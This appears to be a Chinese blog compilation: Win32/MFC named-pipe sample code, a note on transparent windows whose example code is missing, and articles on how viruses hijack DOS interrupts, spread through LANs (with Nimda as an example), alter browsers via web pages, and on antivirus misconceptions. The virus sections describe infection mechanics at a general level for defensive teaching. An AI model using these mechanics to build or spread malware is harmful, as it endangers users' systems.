Handle to an event set to the signaled state when the transfer has been completed. The calling process sets this member before calling the ReadFile, WriteFile, ConnectNamedPipe, or TransactNamedPipe function.

 

 

④BOOL WaitNamedPipe(
  LPCTSTR lpNamedPipeName,  // pointer to name of pipe for which to wait
  DWORD nTimeOut            // time-out interval, in milliseconds
);


(The WaitNamedPipe function waits until either a time-out interval elapses or an instance of the specified named pipe is available to be connected to (that is, the pipe’s server process has a pending ConnectNamedPipe operation on the pipe)).


lpNamedPipeName
Pointer to a null-terminated string that specifies the name of the named pipe. The string must include the name of the computer on which the server process is executing. A period may be used for the servername if the pipe is local. The following pipe name format is used:
\\servername\pipe\pipename

 

 


Eg:
服务端:

void CNamedPipeSrvView::OnPipeCreate()
{
 hPipe=CreateNamedPipe(“\\\\.\\pipe\\MyPipe“,
  PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
  0,1,1024,1024,0,NULL);
 if(INVALID_HANDLE_VALUE==hPipe)
 {
  MessageBox(“创建命名管道失败!”);
  hPipe=NULL;
  return;
 }
 HANDLE hEvent;
 hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);
 if(!hEvent)
 {
  MessageBox(“创建事件对象失败!”);
  CloseHandle(hPipe);
  hPipe=NULL;
  return;
 }
 OVERLAPPED ovlap;
 ZeroMemory(&ovlap,sizeof(OVERLAPPED));
 ovlap.hEvent=hEvent;
 if(!ConnectNamedPipe(hPipe,&ovlap))
 {
  if(ERROR_IO_PENDING!=GetLastError())
  {
   MessageBox(“等待客户端连接失败!”);
   CloseHandle(hPipe);
   CloseHandle(hEvent);
   hPipe=NULL;
   return;
  }
 }
 if(WAIT_FAILED==WaitForSingleObject(hEvent,INFINITE))
 {
  MessageBox(“等待对象失败!”);
  CloseHandle(hPipe);
  CloseHandle(hEvent);
  hPipe=NULL;
  return;
 }
 CloseHandle(hEvent);
}

void CNamedPipeSrvView::OnPipeRead()
{
 char buf[100];
 DWORD dwRead;
 if(!ReadFile(hPipe,buf,100,&dwRead,NULL))
 {
  MessageBox(“读取数据失败!”);
  return;
 }
 MessageBox(buf);
}

void CNamedPipeSrvView::OnPipeWrite()
{
 char buf[]=”Hello named pipe!”;
 DWORD dwWrite;
 if(!WriteFile(hPipe,buf,strlen(buf)+1,&dwWrite,NULL))
 {
  MessageBox(“写入数据失败!”);
  return;
 }
}

 

 

 

 

 

 

 

 

 

客户端:
void CNamedPipeCltView::OnPipeConnect()
{
 if(!WaitNamedPipe(“\\\\.\\pipe\\MyPipe”,NMPWAIT_WAIT_FOREVER))
 {
  MessageBox(“当前没有可利用的命名管道实例!”);
  return;
 }
 hPipe=CreateFile(“\\\\.\\pipe\\MyPipe”,GENERIC_READ | GENERIC_WRITE,
  0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
 if(INVALID_HANDLE_VALUE==hPipe)
 {
  MessageBox(“打开命名管道失败!”);
  hPipe=NULL;
  return;
 }
}

void CNamedPipeCltView::OnPipeRead()
{
 char buf[100];
 DWORD dwRead;
 if(!ReadFile(hPipe,buf,100,&dwRead,NULL))
 {
  MessageBox(“读取数据失败!”);
  return;
 }
 MessageBox(buf);
}

void CNamedPipeCltView::OnPipeWrite()
{
 char buf[]=”命名管道测试程序”;
 DWORD dwWrite;
 if(!WriteFile(hPipe,buf,strlen(buf)+1,&dwWrite,NULL))
 {
  MessageBox(“写入数据失败!”);
  return;
 }
}




Modified At 2008-03-27 20:52:48

Visual C++实现透明窗体

简单介绍一下SetLayeredWindowAttributes:

 

 

 

一些常量:

  WS_EX_LAYERED = 0x80000;
  LWA_ALPHA = 0x2;

  LWA_COLORKEY=0x1

  其中dwFlags有LWA_ALPHA和LWA_COLORKEY。LWA_ALPHA被设置的话,通过bAlpha决定透明度,LWA_COLORKEY被设置的话,则指定被透明掉的颜色为crKey,其他颜色则正常显示。

  注:要使使窗体拥有透明效果,首先要有WS_EX_LAYERED扩展属性(旧sdk也没有的)。

 

例子代码:

  在OnInitDialog()加入:

 




以上是通过“未公开”api的使用的方法来使用的。

中断与计算机病毒

1.中断基本概念

什么是中断?先打个比方。当一个经理正处理文件时,电话铃响了(中断请求),不得不在文件上做一个记号(返 回地址),暂停工作,去接电话(中断),并指示“按第二方案办”(调中断服务程序),然后,再静下心来(恢复中 断前状态),接着处理文件……。计算机科学家观察了类似实例,“外师物化,内得心源”,借用了这些思想、处理方 式和名称,研制了一系列中断服务程序及其调度系统。
中断是CPU处理外部突发事件的一个重要技术。它能使CPU在运行过程中对外部事件发出的中断请求及时地进行处理, 处理完成后又立即返回断点,继续进行CPU原来的工作。引起中断的原因或者说发出中断请求的来源叫做中断源。 根据 中断源的不同,可以把中断分为硬件中断和软件中断两大类,而硬件中断又可以分为外部中断和内部中断两类。
外部中断一般是指由计算机外设发出的中断请求,如:键盘中断、打印机中断、定时器中断等。外部中断是可以屏 蔽的中断,也就是说,利用中断控制器可以屏蔽这些外部设备的中断请求。
内部中断是指因硬件出错(如突然掉电、奇偶校验错等)或运算出错(除数为零、运算溢出、单步中断等)所引起 的中断。内部中断是不可屏蔽的中断。
软件中断其实并不是真正的中断,它们只是可被调用执行的一般程序。例如:ROMBIOS 中的各种外部设备管理中断 服务程序(键盘管理中断、显示器管理中断、打印机管理中断等),以及DOS的系统功能调用(INT 21H)等都是软件中 断。
CPU为了处理并发的中断请求,规定了中断的优先权/中断优先权由高到低的顺序是:
(1)除法错、溢出中断、软件中断
(2)不可屏蔽中断
(3)可屏蔽中断
(4)单步中断。

2.中断与计算机病毒
 
计算机操作系统是开放的,用户可以修改扩充操作系统,在计算机上实现新的功能。修改操作系统的主要方式之一 是扩充中断功能。
计算机提供很多中断,合理合法地修改中断会给计算机增加非常有用的新功能。如INT 10H是屏幕显示中断, 原只能显示西文,而在各种汉字系统中都可以通过修改1NT 10H使计算机能够显示中文。另一方面, 计算机病毒则篡改中断 为其达到传染、激发等目的服务,与病毒有关的重要中断有: INT 08H和INT 1CH定时中断,每秒调用18.2次,有些病毒利用它们的记时判断激发条件。
INT 09H键盘输入中断,病毒用于监视用户击键情况。
INT 10H屏幕输入输出中断,一些病毒用于在屏幕上显示字符图形表现自己。
INT 13H磁盘输入输出中断,引导型病毒用于传染病毒和格式化磁盘。
INT 21H DOS功能调用,包含了DOS的大部分功能,已发现的绝大多数文件型病毒修改
INT 21H中断, 因此也成为防 病毒的重点监视部位。
INT 24H DOS的严重错误处理中断,文件型病毒常进行修改,以防止传染写保护磁盘时被发现。 中断子程序的人口地址存放在计算机内存的最低端,病毒窃取和修改中断的人口地址获得中断的控制权,在中断服 务过程中插入病毒的“私货”。
总之,中断可以被用户程序所修改,从而使得中断服务程序被用户指定的程序所替代。这样虽然大大地方便了用户, 但也给计算机病毒制造者以可乘之机。病毒正是通过修改中断以使该中断指向病毒自身来进行发作和传染的。

局域网病毒入侵原理、现象及防范方法

一、局域网病毒入侵原理及现象
 
一般来说,计算机网络的基本构成包括网络服务器和网络节点站(包括有盘工作站、无盘工作站和远程工作站)。计算机病毒一般首先通过各种途径进入到有盘工作站,也就进入网络,然后开始在网上的传播。具体地说,其传播方式有以下几种。
(1)病毒直接从工作站拷贝到服务器中或通过邮件在网内传播;
(2)病毒先传染工作站,在工作站内存驻留,等运行网络盘内程序时再传染给服务器;
(3)病毒先传染工作站,在工作站内存驻留,在病毒运行时直接通过映像路径传染到服务器中;
(4)如果远程工作站被病毒侵入,病毒也可以通过数据交换进入网络服务器中。
 
一旦病毒进入文件服务器,就可通过它迅速传染到整个网络的每一个计算机上。而对于无盘工作站来说,由于其并非真的”无盘”(它的盘是网络盘),当其运行网络盘上的一个带毒程序时,便将内存中的病毒传染给该程序或通过映像路径传染到服务器的其他的文件上,因此无盘工作站也是病毒孽生的温床。
 
由以上病毒在网络上的传播方式可见,在网络环境下,网络病毒除了具有可传播性、可执行性、破坏性等计算机病毒的共性外,还具有一些新的特点。
(1)感染速度快
在单机环境下,病毒只能通过介质从一台计算机带到另一台,而在网络中则可以通过网络通讯机制进行迅速扩散。根据测定,在网络正常工作情况下,只要有一台工作站有病毒,就可在几十分钟内将网上的数百台计算机全部感染。
(2)扩散面广
由于病毒在网络中扩散非常快,扩散范围很大,不但能迅速传染局域网内所有计算机,还能通过远程工作站将病毒在一瞬间传播到千里之外。
(3)传播的形式复杂多样
计算机病毒在网络上一般是通过”工作站”到”服务器”到”工作站”的途径进行传播的,但现在病毒技术进步了不少,传播的形式复杂多样。
(4)难于彻底清除
单机上的计算机病毒有时可以通过带毒文件来解决。低级格式化硬盘等措施能将病毒彻底清除。
而网络中只要有一台工作站未能清除干净,就可使整个网络重新被病毒感染,甚至刚刚完成杀毒工作的一台工作站,就有可能被网上另一台带毒工作站所感染。因此,仅对工作站进行杀毒,并不能解决病毒对网络的危害。
(5)破坏性大
网络病毒将直接影响网络的工作,轻则降低速度,影响工作效率,重则使网络崩溃,破坏服务器信息,使多年工作毁于一旦。
(6)可激发性
网络病毒激发的条件多样化,可以是内部时钟、系统的日期和用户名,也可以是网络的一次通信等。一个病毒程序可以按照病毒设计者的要求,在某个工作站上激发并发出攻击。
(7)潜在性

网络一旦感染了病毒,即使病毒已被清除,其潜在的危险性也是巨大的。根据统计,病毒在网络上被清除后,85%的网络在30天内会被再次感染。
例如尼姆达病毒,会搜索本地网络的文件共享,无论是文件服务器还是终端客户机,一旦找到,便安装一个隐藏文件,名为Riched20.DLL到每一个包含”DOC”和”eml”文件的目录中,当用户通过Word、写字板、Outlook打开”DOC”和”eml”文档时,这些应用程序将执行Riched20.DLL文件,从而使机器被感染,同时该病毒还可以感染远程服务器被启动的文件。带有尼姆达病毒的电子邮件,不需你打开附件,只要阅读或预览了带病毒的邮件,就会继续发送带毒邮件给你通讯簿里的朋友。
 
二、局域网病毒防范方法
 
以”尼姆达”病毒为例,个人用户感染该病毒后,使用单机版杀毒软件即可清除;然而企业的网络中,一台机器一旦感染”尼姆达”,病毒便会自动复制、发送并采用各种手段不停交叉感染局域网内的其他用户。
计算机病毒形式及传播途径日趋多样化,因此,大型企业网络系统的防病毒工作已不再像单台计算机病毒的检测及清除那样简单,而需要建立多层次的、立体的病毒防护体系,而且要具备完善的管理系统来设置和维护对病毒的防护策略。
一个企业网的防病毒体系是建立在每个局域网的防病毒系统上的,应该根据每个局域网的防病毒要求,建立局域网防病毒控制系统,分别设置有针对性的防病毒策略。

(1)增加安全意识
杜绝病毒,主观能动性起到很重要的作用。病毒的蔓延,经常是由于企业内部员工对病毒的传播方式不够了解,病毒传播的渠道有很多种,可通过网络、物理介质等。查杀病毒,首先要知道病毒到底是什么,它的危害是怎么样的,知道了病毒危害性,提高了安全意识,杜绝毒瘤的战役就已经成功了一半。平时,企业要从加强安全意识着手,对日常工作中隐藏的病毒危害增加警觉性,如安装一种大众认可的网络版杀毒软件,定时更新病毒定义,对来历不明的文件运行前进行查杀,每周查杀一次病毒,减少共享文件夹的数量,文件共享的时候尽量控制权限和增加密码等,都可以很好地防止病毒在网络中的传播。
(2)小心邮件
随着网络的普及,电子信箱成了人们工作中不可缺少的一种媒介。它方便快捷在提高了人们的工作效率的同时,也无意之中成为了病毒的帮凶。有数据显示,如今有超过90%的病毒通过邮件进行传播。
尽管这些病毒的传播原理很简单,但这块决非仅仅是技术问题,还应该教育用户和企业,让它们采取适当的措施。例如,如果所有的Windows用户都关闭了VB脚本功能,像库尔尼科娃这样的病毒就不可能传播。只要用户随时小心警惕,不要打开值得怀疑的邮件,就可把病毒拒绝在外。
(3)挑选网络版杀毒软件
选择一个功力高深的网络版病毒”杀手”就至关重要了。一般而言,查杀是否彻底,界面是否友好、方便,能否实现远程控制、集中管理是决定一个网络杀毒软件的三大要素。

网页病毒的概念

     1、什么是网页病毒?
   它主要是利用软件或系统操作平台等的安全漏洞,通过执行嵌入在网页HTML超文本标记语言内的Java Applet小应用程序,JavaScript脚本语言程序,ActiveX软件部件网络交互技术支持可自动执行的代码程序,以强行修改用户操作系统的注册表设置及系统实用配置程序,或非法控制系统资源盗取用户文件,或恶意删除硬盘文件、格式化硬盘为行为目标的非法恶意程序。
 
   2、网页病毒的性质及特点:
   这种非法恶意程序能够得以被自动执行,在于它完全不受用户的控制。你一旦浏览含有该病毒的网页,即可以在你不知不觉的情况下马上中招,给用户的系统带来一般性的、轻度性的、严重恶性等不同程度的破坏。令你苦不堪言,甚至损失惨重无法弥补。 网页病毒的种类
   根据目前互联网上流行的常见网页病毒的作用对象及表现特征,归纳为以下两大种类:
 
   一、通过Java Script、Applet、ActiveX编辑的脚本程序修改IE浏览器:
   1.默认主页被修改;
   2.默认首页被修改;
   3.默认的微软主页被修改;
   4.主页设置被屏蔽锁定,且设置选项无效不可改回;
   5.默认的IE搜索引擎被修改;
   6.IE标题栏被添加非法信息
   7.OE标题栏被添加非法信息;
   8.鼠标右键菜单被添加非法网站广告链接;
   9.鼠标右键弹出菜单功能被禁用失常;
   10.IE收藏夹被强行添加非法网站的地址链接;
   11.在IE工具栏非法添加按钮;
   12.锁定地址下拉菜单及其添加文字信息;
   13.IE菜单“查看”下的“源文件”被禁用;
 
   二、通过Java Script、Applet、ActiveX编辑的脚本程序修改用户操作系统:
   1.开机出现对话框;
   2.系统正常启动后,但IE被锁定网址自动调用打开;
   3.格式化硬盘
   4.暗藏“万花谷”蛤蟆病毒,全方位侵害封杀系统,最后导致瘫痪崩溃;
   5.非法读取或盗取用户文件;
   6.锁定禁用注册表;
   7.注册表被锁定禁用之后,编辑*.reg注册表文件打开方式错乱;
   8.时间前面加广告;
   9.启动后首页被再次修改;
   10.更改“我的电脑”下的一系列文件夹名称。

纠正14条查杀电脑病毒的错误认识

1、对染毒软盘DIR操作会导致硬盘被感染(错)
 
如果计算机的内存没有病毒,那么只有在执行了带有病毒的程序(文件)后,才会感染计算机。而DIR命令是DOS的内部命令,不需要执行任何外部的程序(文件),因此对染毒软盘进行DIR操作不会感染病毒。
不过需要注意的是,如果计算机内存已有病毒(或者说计算机已染毒),如果对没有染毒的软盘进行DIR操作, 就可能感染软盘。说可能会感染是因为有些病毒不会通过DIR操作传播。
 
2、将文件改为只读方式可免受病霉的感染(错)
 
某些人认为通过DOS的外部命令ATTRIB,将文件设置为只读会十分有效地抵御病毒。 其实修改一个文件的属性只需要调用几个DOS中断就可以了,因此说ATTRIB命令对于阻止病毒的感染及传播几乎无能为力。
 
3、病毒能感染写保护的磁盘(错)
 
由于病毒可感染只读文件,不少人由此认为病毒也能修改在写保护磁盘上的文件。事实上,磁盘驱动器可以判断磁盘是否写保护,是否应该对其进行写操作,这一切都是由硬件来控制的,您可以物理地解除PC的写保护传感器,却不能用软件来做这件事。
如果您的软驱是正常的,而软盘的写保护一次也没有取下来,绝对不会感染病毒。但是如果您取下来了,并且用带毒的机器DIR过,则完全有可能感染病毒。注意这个DIR是从机器向软盘感染病毒,而不是把病毒从软盘传染到机器。
 
写保护和文件只读方式不同,设置文件只读方式是通过计算机,所以病毒能插上一手,可是写保护非要人手参与不可,病毒可没办法把写保护弄掉。计算机不能对写保护磁盘进行改写,这是任何操作都无法改变的(除非您把驱动器弄坏)。
 
4、反病毒软件能够杀除所有已知病毒(错)
 
病毒感染方式很多,有些病毒会强行覆盖执行程序的某一部分,将自身代码嵌入其中,以达到不改变被感染文件长度的目的,被这样的病毒覆盖掉的代码无法复原,因此这种病毒是无法安全杀除的。 病毒破坏了文件的某些内容, 在杀除这种病毒后是不能恢复文件的原貌的。
 
 5、使用杀毒软件可以免受病毒的侵扰(错)
 
目前市场上出售的杀毒软件,都只能在病毒泛滥之后才“一展身手”。但在杀毒之前病毒已经造成了工作的延误、数据的破坏或其他更为严重的后果。所以,应该选择一套完善的反毒系统,它不仅应包括常见的查、杀病毒功能,还应该同时包括有实时防毒功能,能实时地监测、跟踪对文件的各种操作,一旦发现病毒,立即报警,只有这样才能最大程度地减少被病毒感染的机会。

 6、磁盘文件损坏多为病毒所为(错)
 
文件的损坏有多种原因,电源电压波动、掉电、磁化、磁盘质量低劣、硬件错误、其他软件中的错误、灰尘、烟灰、茶水,甚至一个喷嚏都可能导致数据丢失。以上所举对文件造成的损坏,会比病毒造成的损失更常见,更严重。
 
7、如果做备份的时候,备份了病霉,那么这些备份是无用的(错)
 
有两种情况:①软盘备份:备份中含有引导型病毒。这种情况下,只要不用这张软盘试图启动您的计算机,它将和无毒备份一样安全。②磁带备份:备份中的数据文件中不会有病毒,如果其中的可执行文件中含有病毒,那么执行文件就白备份了,但是备份中的数据文件还是可用的。
 
8、反病毒软件可以随时随地防范任何病霉(错)
 
很显然,这种反病毒软件是不存在的。新病毒不断出现,要求反病毒软件必须快速升级。对抗病毒,我们需要的是一种安全策略和一个完善的反病毒系统,用备份作为防病毒的第一道防线,将反病毒软件作为第二道防线。 同时,软件的及时升级是加固第二道防线的唯一方法。使用反病毒软件是为了辅助防毒,它不可能是刀枪不入的保镖。
 
9、正版软件不会带病毒,可以安全使用(错)
 
计算机用户常被告知,“为了防范病毒的侵害,不要使用来历不明的软件”。这话不错,所谓“来历不明的软件”确实是计算机病毒传播主要途径之一。那么使用有“来历”的软件是否就可以高枕无忧呢?非也!实际上计算机报刊媒体已经多次报导过“正版软件”。“商品软件”带病毒问题。使用商品软件也不可掉以轻心,甚至新购买的计算机包括
 
原装计算机在使用前都须进行病毒检测。如确实由于原版软件带有病毒而造成重大的损失,应寻求法律保护。
不用软盘,不会感染病毒,因而无需选择杀毒软件
 
“不用软盘,就不会感染病毒”是常在初级用户中听到的一种言论,它和“使用软盘,就会感染病毒”是一对孪生姊妹,是两种相同类型的错误论调。
 
病毒的传染是通过带病毒软件进行的,但软盘并不是“带病毒软件”的唯一载体。可以说,凡是可以得到程序(软件)的地方,都可能“得到”病毒。也就是说,使用光盘、硬盘、磁带,或者通过局域/广域网络、Internet、BBS(电子公告板)使用或下载软件,都潜在感染病毒的危险。尤其是近年来 Internet和BBS的广泛使用,使得国内外病毒大面积、高速度的流行传播成为可能。这些具有国际性的计算机信息传播媒体,是潜在的病毒毒源和导管(当然,这些网络体系中也具有安全性较高的防/杀病毒系统),使每一个计算机用户都受到染毒的威胁。 —恐怕没有人会说他的计算机永远不会连上Internet。
 
人不可能不生病,所以计算机绝不可能不感染病毒,所以您必须选择杀毒软件。
 
人不可能都是医生,所以您没有必要独自去面对病毒,所以您必须选择杀毒软件。
 
 10、“能杀毒的就行”和“有一个杀毒软件就够了”(错)
 
“能杀毒的就行”和“有一个杀毒软件就够了”,这是一部分人在选择杀毒软件时的想法。一种常见的情况是,当您的计算机不正常时,找来一大堆杀毒软件,不管是正版还是盗版,能查能杀病毒就是好样的。其实很多计算机的故障并不是病毒导致,这样,很多的杀毒软件都“无效”;另一种更常见的情况是用户一般并不注意“查毒”与“杀毒”的区别,使用某种杀毒软件时,首选“杀毒”操作。于是,当它用这种杀毒软件将系统“杀毒”了一次以后,用其他杀毒软件,就再也找不到病毒了,那就认定这个软件是最好的。
 
目前还没有一个杀毒软件能囊括所有病毒而杀之,这是谁也做不到的。由于各种病毒标本的来源不同,再加上程序编制者的实力有别,总存在一种软件能查杀的病毒,别的软件却不能查杀。或者由于一些程序BUG(程序错误),使某些软件本来可以查杀的病毒,在它的一些版本中却不能查杀或误查误杀了。所以一般不建议用户革一的选择一种杀毒软件。
 
在选择杀毒软件时,请首先抛开您所有关于“好”与“不好”的成见,也拒绝广告词上的种种诱惑,认真地去了解一下杀病毒软件厂商在技术实力、服务质量、软件性能等方面的东西。特别应该了解软件厂商在升级、退货、损坏更换等方面的措施和承诺的可信度。同时,您应该请厂商直接阐述一下他们在广告中的各种术语的具体含义,要知道,这是您作为消费者的合法权益。
 
现在的反病毒软件市场就像“战国时代”,各家都说各家好。但消费者感到不放心,到底用谁的软件好?只用一个好还是用几个好?世上没有“万灵丹”,一个软件再好,也不是所有的病毒都能杀,不能“包治百病”。各软件厂家获取病毒样本的时间不同,因此,在每一个时间段,各软件厂家都是各有侧重,只有一个不保险。除了“万能的主”之外,这个世界上恐怕再也找不到万能的东西了。为防止“重复建设”,专家认为,选购两个优势互补的反病毒软件即可,这是提高“安全系数”的最佳方法。千万别把好几个反病毒软件都在同一台计算机上安装,大多了没必要,而且有可能出现相互之间抢占资源、判断失误、死机等问题。
 
11、发现CMOS中有病毒(错)
 
CMOS是微机中的一种特殊存储器,记录了微机的硬件设置参数及系统日期时间。开机密码等重要数据。由于CMOS设置十分重要,所以可能成为计算机病毒破坏攻击的目标。目前确实已发现了改写CMOS的“CMOS设置破坏者”病毒,但在CMOS中并不存在病毒。
有时,机器发生问题,问题出在CMOS设置上,有人认为,这是躲藏在CMOS里面的病毒!因而误认为杀毒软件不行,采取对CMOS存储器又是放电、又是短路的措施,重新设置CMOS参数后,机器恢复了正常,从此确信CMOS中有病毒。这种行为及其危险,很容易将主板搞坏。我们说“CMOS设置破坏者病毒,不等于CMOS中有病毒!病毒不能将自身自动传染到CMOS里面而存留和被激活!”,“病毒可以将CMOS设置改变或加密,但用户也可以重新设置和恢复。”
 
某些情况下,如CMOS电源不足、外界电源冲击性波动、软件崩溃、硬件不稳定、操作上的失误、病毒改写等都会导致CMOS 设置紊乱,也可以说,是紊乱性加密,因而,造成机器不能引导或不能正常工作。这时,一般情况下可以重新对CMOS设置和用专用软件来清理紊乱性密码,然后再设置正确参数。
 
CMOS中不会有病毒寄生,因为:
 
(1)CMOS是通过I/O读写与CPU交换数据的, CPU的物理机能决定了只能读写CMOS的数据,不能把CMOS中的数据当作指令代码来执行。而病毒想要工作的话就一定要执行其程序码,但CMOS只是用来存放数据的,在CMOS中的数据不是可执行的,所以并没有CMO5病毒,只有会破坏CMOS数据的病毒。
 
(2)如果把一段病毒程序写入CMOS,则必然破坏微机的硬件设置以至于微机根本不能运行,存储在CMOS中的“病毒程序”将毫无作用,病毒不能在CMOS中蔓延或藏身于其中。
 
(3)CMOS的有效存储容量只有128个字节,不足以容纳病毒。可见CMOS不具备病毒寄生和被激活的条件,不可能有病毒存在。
 
12、发现Cache中有病毒
 
与CMOS中没有病毒一样,Cache中也是根本不可能存在病毒的。
我们知道,程序执行时,数据流是这样被传送的:
 
外存(软/硬盘)